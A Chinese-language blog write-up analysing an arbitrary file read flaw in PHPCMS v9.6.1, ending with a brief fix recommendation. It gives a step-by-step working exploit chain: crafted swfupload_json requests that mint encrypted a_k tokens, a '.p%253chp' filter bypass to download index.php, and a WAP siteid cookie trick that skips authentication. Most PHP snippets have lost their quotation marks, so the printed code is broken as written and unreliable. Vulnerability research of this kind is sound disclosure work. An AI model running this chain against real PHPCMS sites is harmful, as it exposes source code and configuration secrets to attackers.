讲解PHPCMSv9.6.1任意文件读取漏洞的挖掘和分析过程

来源:undefined 2024-12-24 15:37:32 1015

PHPCMS使用教程

介绍PHPCMSv9.6.1任意文件读取漏洞的挖掘

推荐(免费):PHPCMS使用教程

看到网上说出了这么一个漏洞,所以抽空分析了下,得出本篇分析。

1.准备工作&漏洞关键点快速扫描

1.1前置知识

这里把本次分析中需要掌握的知识梳理了下:

php原生parse_str方法,会自动进行一次urldecode,第二个参数为空,则执行类似extract操作。

立即学习PHP免费学习笔记(深入)”;

原生empty方法,对字符串""返回true。

phpcms中sys_auth是对称加密且在不知道auth_key的情况下理论上不可能构造出有效密文。

1.2 快速扫描

先diff下v9.6.0和v9.6.1,发现phpcms/modules/content/down.php中有如下修改:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

--- a/phpcms/modules/content/down.php

+++ b/phpcms/modules/content/down.php

@@ -14,12 +14,16 @@ class down {

$a_k = sys_auth($a_k, DECODE, pc_base::load_config(system,auth_key));

if(empty($a_k)) showmessage(L(illegal_parameters));

unset($i,$m,$f);

+               $a_k = safe_replace($a_k);^M

parse_str($a_k);

if(isset($i)) $i = $id = intval($i);

if(!isset($m)) showmessage(L(illegal_parameters));

if(!isset($modelid)||!isset($catid)) showmessage(L(illegal_parameters));

if(empty($f)) showmessage(L(url_invalid));

$allow_visitor = 1;

+               $id = intval($id);^M

+               $modelid  = intval($modelid);^M

+               $catid  = intval($catid);^M

$MODEL = getcache(model,commons);

$tablename = $this->db->table_name = $this->db->db_tablepre.$MODEL[$modelid][tablename];

$this->db->table_name = $tablename._data;

@@ -86,6 +90,7 @@ class down {

$a_k = sys_auth($a_k, DECODE, $pc_auth_key);

if(empty($a_k)) showmessage(L(illegal_parameters));

unset($i,$m,$f,$t,$ip);

+               $a_k = safe_replace($a_k);^M

parse_str($a_k);               

if(isset($i)) $downid = intval($i);

if(!isset($m)) showmessage(L(illegal_parameters));

@@ -118,6 +123,7 @@ class down {

}

$ext = fileext($filename);

$filename = date(Ymd_his).random(3)...$ext;

+                               $fileurl = str_replace(array(<,>), ,$fileurl);^M

file_down($fileurl, $filename);

}

}

登录后复制

主要修改了两个方法init()和download(),大胆的猜想估计是这两个函数出问题了。

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

public function init() {

$a_k = trim($_GET@[a_k]);

if(!isset($a_k)) showmessage(L(illegal_parameters));

$a_k = sys_auth($a_k, DECODE, pc_base::load_config(system,auth_key));//关键点1

if(empty($a_k)) showmessage(L(illegal_parameters));

unset($i,$m,$f);

$a_k = safe_replace($a_k);//关键点2

parse_str($a_k);//关键点3

if(isset($i)) $i = $id = intval($i);

if(!isset($m)) showmessage(L(illegal_parameters));

if(!isset($modelid)||!isset($catid)) showmessage(L(illegal_parameters));

if(empty($f)) showmessage(L(url_invalid));

$allow_visitor = 1;

$id = intval($id);

$modelid  = intval($modelid);

$catid  = intval($catid);

......

if(preg_match(/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(.|$)/i,$f) || strpos($f, ":")!==FALSE || strpos($f,..)!==FALSE) showmessage(L(url_error));//关键点4

if(strpos($f, http://) !== FALSE || strpos($f, ftp://) !== FALSE || strpos($f, ://) === FALSE) {

$pc_auth_key = md5(pc_base::load_config(system,auth_key).$_SERVER[HTTP_USER_AGENT].down);

$a_k = urlencode(sys_auth("i=$i&d=$d&s=$s&t=".SYS_TIME."&ip=".ip()."&m=".$m."&f=$f&modelid=".$modelid, ENCODE, $pc_auth_key));//关键点5

$downurl = ?m=content&c=down&a=download&a_k=.$a_k;

} else {

$downurl = $f;           

}

}

登录后复制

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

public function download() {

$a_k = trim($_GET@[a_k]);

$pc_auth_key = md5(pc_base::load_config(system,auth_key).$_SERVER[HTTP_USER_AGENT].down);//关键点6

$a_k = sys_auth($a_k, DECODE, $pc_auth_key);

if(empty($a_k)) showmessage(L(illegal_parameters));

unset($i,$m,$f,$t,$ip);

$a_k = safe_replace($a_k);//关键点7

parse_str($a_k);//关键点8

if(isset($i)) $downid = intval($i);

if(!isset($m)) showmessage(L(illegal_parameters));

if(!isset($modelid)) showmessage(L(illegal_parameters));

if(empty($f)) showmessage(L(url_invalid));

if(!$i || $m<0) showmessage(L(illegal_parameters));

if(!isset($t)) showmessage(L(illegal_parameters));

if(!isset($ip)) showmessage(L(illegal_parameters));

$starttime = intval($t);

if(preg_match(/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(.|$)/i,$f) || strpos($f, ":")!==FALSE || strpos($f,..)!==FALSE) showmessage(L(url_error));//关键点9

$fileurl = trim($f);

if(!$downid || empty($fileurl) || !preg_match("/[0-9]{10}/", $starttime) || !preg_match("/[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}/", $ip) || $ip != ip()) showmessage(L(illegal_parameters));   

$endtime = SYS_TIME - $starttime;

if($endtime > 3600) showmessage(L(url_invalid));

if($m) $fileurl = trim($s).trim($fileurl);//关键点10

if(preg_match(/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(.|$)/i,$fileurl) ) showmessage(L(url_error));//关键点11

//远程文件

if(strpos($fileurl, :/) && (strpos($fileurl, pc_base::load_config(system,upload_url)) === false)) { //关键点12

header("Location: $fileurl");

} else {

if($d == 0) {

header("Location: ".$fileurl);//关键点13

} else {

$fileurl = str_replace(array(pc_base::load_config(system,upload_url),/), array(pc_base::load_config(system,upload_path),DIRECTORY_SEPARATOR), $fileurl);

$filename = basename($fileurl);//关键点14

//处理中文文件

if(preg_match("/^([sS]*?)([�-�][@-�])([sS]*?)/", $fileurl)) {

$filename = str_replace(array("%5C", "%2F", "%3A"), array("", "/", ":"), urlencode($fileurl));

$filename = urldecode(basename($filename));//关键点15

}

$ext = fileext($filename);//关键点16

$filename = date(Ymd_his).random(3)...$ext;

$fileurl = str_replace(array(<,>), ,$fileurl);//关键点17

file_down($fileurl, $filename);//关键点18

}

}

}

登录后复制

safe_replace函数如下

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

function safe_replace($string) {

$string = str_replace(%20,,$string);

$string = str_replace(%27,,$string);

$string = str_replace(%2527,,$string);

$string = str_replace(*,,$string);

$string = str_replace(",",$string);

$string = str_replace("",,$string);

$string = str_replace(",,$string);

$string = str_replace(;,,$string);

$string = str_replace(<,<,$string);

$string = str_replace(>,>,$string);

$string = str_replace("{",,$string);

$string = str_replace(},,$string);

$string = str_replace(,,$string);

return $string;

}

登录后复制
1.2 content/down模块大致流程分析

init方法中根据原始的$a_k(包含了file_down的文件的基本信息),进行一次验证,并且生成,调用

download方法的url,url的schema为$downurl=?m=content&c=down&a=download&a_k=.$a_k(必须符合一定条件。)

download方法接收到$a_k,进行解码,解出文件信息,调用file_down($fileurl, $filename)( 必须符合一定条件)

我们来看下file_down函数,第一个参数$filepath,才是实际控制readfile的文件名的变量,readfile可以读取本地文件,所以我们构造符合条件的$fileurl绕过上述的限制就可以完成本地文件的读取功能!

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

function file_down($filepath, $filename = ) {

if(!$filename) $filename = basename($filepath);

if(is_ie()) $filename = rawurlencode($filename);

$filetype = fileext($filename);

$filesize = sprintf("%u", filesize($filepath));

if(ob_get_length() !== false) @ob_end_clean();

header(Pragma: public);

header(Last-Modified: .gmdate(D, d M Y H:i:s) . GMT);

header(Cache-Control: no-store, no-cache, must-revalidate);

header(Cache-Control: pre-check=0, post-check=0, max-age=0);

header(Content-Transfer-Encoding: binary);

header(Content-Encoding: none);

header(Content-type: .$filetype);

header(Content-Disposition: attachment; filename=".$filename.");

header(Content-length: .$filesize);

readfile($filepath);

exit;

}

登录后复制
1.2.1$fileurl变量构造分析

如果我们要读取站点的.php结尾文件,由于有关键点11存在,$fileurl中不能出现php,不过从关键点17可以看到进行了替换

1

$fileurl = str_replace(array(<,>), ,$fileurl);//关键点17

登录后复制
登录后复制

那么可以想到我们构造出符合.ph([]+)p的文件后缀,最后会被替换成.php。而且这句话是9.6.1新增的,更加确定了,这个漏洞是9.6.1特有的。

再向上上看

1

if($m) $fileurl = trim($s).trim($fileurl);//关键点10

登录后复制
登录后复制

1

$fileurl = trim($f);

登录后复制

1

2

$a_k = safe_replace($a_k);//关键点7

parse_str($a_k);//关键点8

登录后复制

通过parse_str来extract变量,很容易的得出控制$i,$m,$f,$t,$s,$d,$modelid变量,看到这里我们可以构造$a_k来控制这些变量。

1.2.2$a_k变量分析

再向上看

1

2

$pc_auth_key = md5(pc_base::load_config(system,auth_key).$_SERVER[HTTP_USER_AGENT].down);//关键点6

$a_k = sys_auth($a_k, DECODE, $pc_auth_key);

登录后复制

这个关键点6很重要,因为这里的$pc_auth_key几乎是不可能暴力出来的,然而得到这个加密的$a_k只有在init()方法中使用了相同的$pc_auth_key。所以我们只能通过init()方法来构造$a_k。

我们现在来看下init方法

1

2

3

$a_k = trim($_GET@[a_k]);

if(!isset($a_k)) showmessage(L(illegal_parameters));

$a_k = sys_auth($a_k, DECODE, pc_base::load_config(system,auth_key));//关键点1

登录后复制

这里可以发现sys_auth的auth竟然是使用系统默认的auth_key,直觉告诉我可能问题出在这里了,除了这个区别,init方法别的逻辑就不再赘述。

1.2.3小结

总结一下:

index.php?m=content&c=down&a=init&a_k=想办法构造出符合条件的。

然后init方法会构造出符合download方法中能够解密的$a_k。

通过对$a_k进行控制,间接控制$i,$f,$m,$s,$d等变量完成漏洞的利用。

2.漏洞挖掘过程

2.1 init方法所接受的$a_k构造

2.1.1探索正常流程中的$a_k构造过程

对源码进行快速扫描,看看哪些地方能够生产对init方法的调用,其实就是常规的下载模型的逻辑。

phpcms/modules/content/fields/downfile和phpcms/modules/content/fields/downfiles中会生成init方法的$a_k

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

function downfile($field, $value) {

extract(string2array($this->fields[$field][setting]));

$list_str = array();

if($value){

$value_arr = explode(|,$value);

$fileurl = $value_arr[0];

if($fileurl) {

$sel_server = $value_arr[1] ? explode(,,$value_arr[1]) : ;

$server_list = getcache(downservers,commons);

if(is_array($server_list)) {

foreach($server_list as $_k=>$_v) {

if($value && is_array($sel_server) && in_array($_k,$sel_server)) {

$downloadurl = $_v[siteurl].$fileurl;

if($downloadlink) {

$a_k = urlencode(sys_auth("i=$this->id&s=$_v[siteurl]&m=1&f=$fileurl&d=$downloadtype&modelid=$this->modelid&catid=$this->catid", ENCODE, pc_base::load_config(system,auth_key)));

$list_str[] = "<a href=".APP_PATH."index.php?m=content&c=down&a_k={$a_k} target=_blank>{$_v[sitename]}</a>";

} else {

$list_str[] = "<a href={$downloadurl} target=_blank>{$_v[sitename]}</a>";

}

}

}

}   

return $list_str;

}

}

}

登录后复制

但是分析发现,content_input和content_output逻辑中权限验证和限制逻辑比较完善,基本不存在利用可能。

2.1.2 黑科技构造$a_k

由于是sys_auth是对称加密,那么能不能找个使用相同密钥生成的地方来生成,对sys_auth进行全文搜索,我们找找有没有符合下列条件的上下文

方式是ENCODE

Auth_key是系统默认的即:pc_base::load_config(system,auth_key)

且待加密内容是可控的(可以是我们$_REQUEST的数据,或者可以构造的)

加密后的数据有回显的。

共找到58个匹配项,但是没有符合上下文的,不过我们可以注意到

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

public static function set_cookie($var, $value = , $time = 0) {

$time = $time > 0 ? $time : ($value == ? SYS_TIME - 3600 : 0);

$s = $_SERVER[SERVER_PORT] == 443 ? 1 : 0;

$var = pc_base::load_config(system,cookie_pre).$var;

$_COOKIE[$var] = $value;

if (is_array($value)) {

foreach($value as $k=>$v) {

setcookie($var.[.$k.], sys_auth($v, ENCODE), $time, pc_base::load_config(system,cookie_path), pc_base::load_config(system,cookie_domain), $s);

}

} else {

setcookie($var, sys_auth($value, ENCODE), $time, pc_base::load_config(system,cookie_path), pc_base::load_config(system,cookie_domain), $s);

}

}

public static function get_cookie($var, $default = ) {

$var = pc_base::load_config(system,cookie_pre).$var;

return isset($_COOKIE[$var]) ? sys_auth($_COOKIE[$var], DECODE) : $default;

}

登录后复制

param::set_cookie param::get_cookie 对cookie加密是使用默认的auth_key的。

马上对set_cookie进行全文搜索,并且查找符合下列条件的上下文。

set_cookie的内容是可控的。

set_cookie的触发条件尽可能的限制小。

一共找到122个匹配项,找到了两个比较好的触发点。

phpcms/moduels/attachment/attachments.php中的swfupload_json/swfupload_del方法和phpcms/modules/video/video.php中的swfupload_json/del方法

video模块需要管理员权限,就不考虑了,attachment模块只要是注册用户即可调用。

我们来看下swfupload_json

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

public function swfupload_json() {

$arr[aid] = intval($_GET@[aid]);

$arr[src] = safe_replace(trim($_GET@[src]));

$arr[filename] = urlencode(safe_replace($_GET@[filename]));

$json_str = json_encode($arr);

$att_arr_exist = param::get_cookie(att_json);

$att_arr_exist_tmp = explode(||, $att_arr_exist);

if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) {

return true;

} else {

$json_str = $att_arr_exist ? $att_arr_exist.||.$json_str : $json_str;

param::set_cookie(att_json,$json_str);

return true;           

}

}

登录后复制

我们可以通过src和filename来构造,最终我选的是src,最终形式会是一个json串,当然有多个会以"||"分割。

我们注册个用户登录之后,调用

1

index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=fobnn

登录后复制

产生的数据会是

1

{"aid":888,"src":"fobnn","filename":""}

登录后复制

然后我们得到response.header中的set-cookie ["att_json"]。

1

1a66LXDASYtpYw9EH6xoXQTpeTKxX6z0L0kRQ7_lX9bekmdtq1XCYmMMso3m9vDf5eS6xY3RjvuLaHkK15rH-CJz

登录后复制

我们修改下down.php->init方法,把DECODE之后的$a_k输出来。

然后我们调用

1

2

index.php?m=content&c=down&a=init

&a_k=1a66LXDASYtpYw9EH6xoXQTpeTKxX6z0L0kRQ7_lX9bekmdtq1XCYmMMso3m9vDf5eS6xY3RjvuLaHkK15rH-CJz

登录后复制

激动人心,init方法成功DECODE了$a_k

好了目前验证了我们的想法可行,接下来应该构造可用的payload了。

2.2 json和parse_str

目前要解决的就是 从json中parse_str并且能够解析出$i,$m,$f等变量。

1

{"aid":888,"src":"fobnn=q&p1=12312","filename":""}

登录后复制

解析{"aid":888,"src":"fobnn=q 和p1=12312","filename":""}

说明parse_str还是解析还是可以实现的,前后闭合一下,中间填充我们需要的变量即可,例如

1

{"aid":888,"src":"pad=x&fobnn=q&p1=12312&pade=","filename":""}

登录后复制

那么fobnn和p1就是正常解析的,src需要URLENCODE提交,这样不会导致php解析错误。

2.3 构造符合init方法的$a_k

我们先构造一个符合init方法的$a_k使得能完成正常的流程。

1

2

3

4

5

6

7

8

if(isset($i)) $i = $id = intval($i);

if(!isset($m)) showmessage(L(illegal_parameters));

if(!isset($modelid)||!isset($catid)) showmessage(L(illegal_parameters));

if(empty($f)) showmessage(L(url_invalid));

$allow_visitor = 1;

$id = intval($id);

$modelid  = intval($modelid);

$catid  = intval($catid);

登录后复制

构造pad=x&i=1&modelid=1&m=1&catid=1&f=fobnn&pade=用来满足条件。

1

2

index.php?m=attachment&c=attachments&a=swfupload_json&aid=1

src=pad%3dx%26i%3d1%26modelid%3d1%26m%3d1%26catid%3d1%26f%3dfobnn%26pade%3d

登录后复制

得到

1

2

3d3fR3g157HoC3wGNEqOLyxVCtvXf95VboTXfCLzq4bBx7j0lHB7c6URWBYzG8alWDrqP4mZb761B1_zsod-adgB2jKS4UVDbknVgyfP8C8VP-EMqKONVbY6aNH4ffWuuYbrufucsVsmJQ

{"aid":1,"src":"pad=x&i=1&modelid=1&m=1&catid=1&f=fobnn&pade=","filename":""}

登录后复制

然后提交

1

2

index.php?m=content&c=down&a=init

&a_k=3d3fR3g157HoC3wGNEqOLyxVCtvXf95VboTXfCLzq4bBx7j0lHB7c6URWBYzG8alWDrqP4mZb761B1_zsod-adgB2jKS4UVDbknVgyfP8C8VP-EMqKONVbY6aNH4ffWuuYbrufucsVsmJQ

登录后复制

成功!页面已经生成了调用download方法的url

1

2

3

4

5

6

7

8

</head>

<body>

<style type="text/css">

body, html{ background:#FFF!important;}

</style>

<a href="?m=content&c=down&a=download&a_k=a602eCW5tkuTZTtvLeYrcU0kSTKdCLFcNAQ06GE74c9zc6NMUaHAss9zwCa-glxRmBtylSbtrxMNTxy5knsFrZIeC_iCRmj3pTSuQxTHxps3qs4U6pKLIz4y3A" class="xzs_btn"></a>

</body>

</html>

登录后复制

2.4绕过限制构造最终payload

目前正常流程已经走通,把目光集中在如何构造出符合的$fileurl,来看下init方法中

1

2

3

4

5

6

7

8

if(preg_match(/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(.|$)/i,$f) || strpos($f, ":")!==FALSE || strpos($f,..)!==FALSE) showmessage(L(url_error));

if(strpos($f, http://) !== FALSE || strpos($f, ftp://) !== FALSE || strpos($f, ://) === FALSE) {

$pc_auth_key = md5(pc_base::load_config(system,auth_key).$_SERVER[HTTP_USER_AGENT].down);

$a_k = urlencode(sys_auth("i=$i&d=$d&s=$s&t=".SYS_TIME."&ip=".ip()."&m=".$m."&f=$f&modelid=".$modelid, ENCODE, $pc_auth_key));

$downurl = ?m=content&c=down&a=download&a_k=.$a_k;

} else {

$downurl = $f;           

}

登录后复制

对f的限制还是蛮多的,包括常规黑名单检测php,asp等。也不能出现"..",":"

还好我们看到download函数中

1

if($m) $fileurl = trim($s).trim($fileurl);//关键点10

登录后复制
登录后复制

我们可以通过控制$m就可以通过$s来构造了,而$m和$s参与了$a_k的构造。

在init方法中我们可以构造 m=1&s=.php&f=index 类似的来绕过init方法的检测,我们把目光聚焦到download方法。

1

2

3

//常规检测代码就不贴了,$i,$t,$m,$modelid,$t,$ip的检测。

if(preg_match(/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(.|$)/i,$f) || strpos($f, ":")!==FALSE || strpos($f,..)!==FALSE) showmessage(L(url_error));

$fileurl = trim($f);

登录后复制

通过这样的构造上面这个检测肯定可以绕过,但发现下面检测就会出问题,最后$fileurl还是会变成index.php

1

2

3

if($m) $fileurl = trim($s).trim($fileurl);

if(preg_match(/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(.|$)/i,$fileurl) ) showmessage(L(url_error));

//远程文件

登录后复制

好在快速扫描中看到的

1

$fileurl = str_replace(array(<,>), ,$fileurl);//关键点17

登录后复制
登录后复制

另外又看到

1

2

if($d == 0) {

header("Location: ".$fileurl);

登录后复制
2.4.1 urlencode编码“”

那么构造出 d=1&m=1&f=.p

最终pad=x&i=1&modelid=1&catid=1&d=1&m=1&f=.p

由于safe_replce的存在所以

所以可以构造

d=1&m=1&f=.p%3chp&s=index

我们发现在init方法中会safe_replace一次,和parse_str一次。

那么最终编码到download $a_k中的数据实际还是

所以我们要确保在init方法编码的时候是%3c即可,对%3c进行一次urlencode,构造

d=1&m=1&f=.p%253chp&s=index

当然要读取别的目录的,那同样对目录路径进行编码。

2.4.2最终payload

以读取首页index.php为例

1

2

3

pad=x&i=1&modelid=1&catid=1&d=1&m=1&f=.p%253chp&s=index&pade=

index.php?m=attachment&c=attachments&a=swfupload_json&aid=1

&src=pad%3dx%26i%3d1%26modelid%3d1%26catid%3d1%26d%3d1%26m%3d1%26f%3d.p%25253chp%26s%3dindex%26pade%3d

登录后复制

1

2

8862Fewa0VoDAmDaEWXtUnQ817naJmAG9DYlUPmB8QpBl8Fi91_XvW8ngzKBGBJkxn8Ms-sHcBkGNtosnd_ZjshNlyQvOrC2ZFMSPubno6rDiuALAVAcchHVRGTtNRYMAiwMTIJ4OVMmgPwjbu1I0FLmurCLMFAWeyQ

{"aid":1,"src":"pad=x&i=1&modelid=1&catid=1&d=1&m=1&f=.p%253chp&s=index&pade=","filename":""}

登录后复制

1

index.php?m=content&c=down&a=init&a_k=8862Fewa0VoDAmDaEWXtUnQ817naJmAG9DYlUPmB8QpBl8Fi91_XvW8ngzKBGBJkxn8Ms-sHcBkGNtosnd_ZjshNlyQvOrC2ZFMSPubno6rDiuALAVAcchHVRGTtNRYMAiwMTIJ4OVMmgPwjbu1I0FLmurCLMFAWeyQ

登录后复制

1

index.php?m=content&c=down&a=download&a_k=e5586zx1k-uH8PRhk2ZfPApV5cxalMnAJy46MpO8iy7DgyxWqwZHqFVpQJTxDmmUJxrF0gx_WRIv-iSKq2Z8YEWc-LRXIrr9EgT-pAEJtGGBUcVCOoI3WlMdxajPdFuIqpsY

登录后复制

最终提示下载文件,文件下载成功,打开来看确实是index.php内容。

2.5绕过attachment模块权限限制完成无限制利用

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

class attachments {

private $att_db;

function __construct() {

pc_base::load_app_func(global);

$this->upload_url = pc_base::load_config(system,upload_url);

$this->upload_path = pc_base::load_config(system,upload_path);       

$this->imgext = array(jpg,gif,png,bmp,jpeg);

$this->userid = $_SESSION[userid] ? $_SESSION[userid] : (param::get_cookie(_userid) ? param::get_cookie(_userid) : sys_auth($_POST@[userid_flash],DECODE));

$this->isadmin = $this->admin_username = $_SESSION[roleid] ? 1 : 0;

$this->groupid = param::get_cookie(_groupid) ? param::get_cookie(_groupid) : 8;

//判断是否登录

if(empty($this->userid)){

showmessage(L(please_login,,member));

}

}

登录后复制

可以发现

1

sys_auth($_POST@[userid_flash],DECODE)

登录后复制

可控制$this->userid且没有复杂的权限校验,而且又是默认AUTH_KEY加密的。

全文找下无限制可以set_cookie的,发现WAP模块可以利用

1

2

3

4

5

6

7

8

9

10

11

12

pc_base::load_sys_class(format, , 0);

class index {

function __construct() {       

$this->db = pc_base::load_model(content_model);

$this->siteid = isset($_GET@[siteid]) && (intval($_GET@[siteid]) > 0) ? intval(trim($_GET@[siteid])) : (param::get_cookie(siteid) ? param::get_cookie(siteid) : 1);

param::set_cookie(siteid,$this->siteid);   

$this->wap_site = getcache(wap_site,wap);

$this->types = getcache(wap_type,wap);

$this->wap = $this->wap_site[$this->siteid];

define(WAP_SITEURL, $this->wap[domain] ? $this->wap[domain].index.php? : APP_PATH.index.php?m=wap&siteid=.$this->siteid);

if($this->wap[status]!=1) exit(L(wap_close_status));

}

登录后复制

没有任何条件限制我们可以$_GET@[siteid]来控制param::set_cookie(siteid,$this->siteid),且默认都有WAP模块的文件,但不需要开启。

3.EXP编写

流程如下:

index.php?m=wap&c=index&siteid=1 获取名称为siteid的cookie。

访问index.php?m=attachment&c=attachments&a=swfupload_json&aid=1

1

&src=想要读取文件的payload,并且访问的时候设置post字段userid_flash为步骤一获取的cookie.

登录后复制

响应成功之后,获取名称为att_json的cookie

访问index.php?m=content&c=down&a=init&a_k=获取到的att_json,来构造最终漏洞利用路径,

可以直接截取生成的$a_k

访问index.php?m=content&c=download&a=init&a_k=截取的$a_k.完成利用。

4.修复方案

init方法中的$a_k 加解密sys_auth不要采用默认密钥。

file_down之前对$fileurl再做一次过滤。

以上就是讲解PHPCMSv9.6.1任意文件读取漏洞的挖掘和分析过程的详细内容,更多请关注php中文网其它相关文章!

最新文章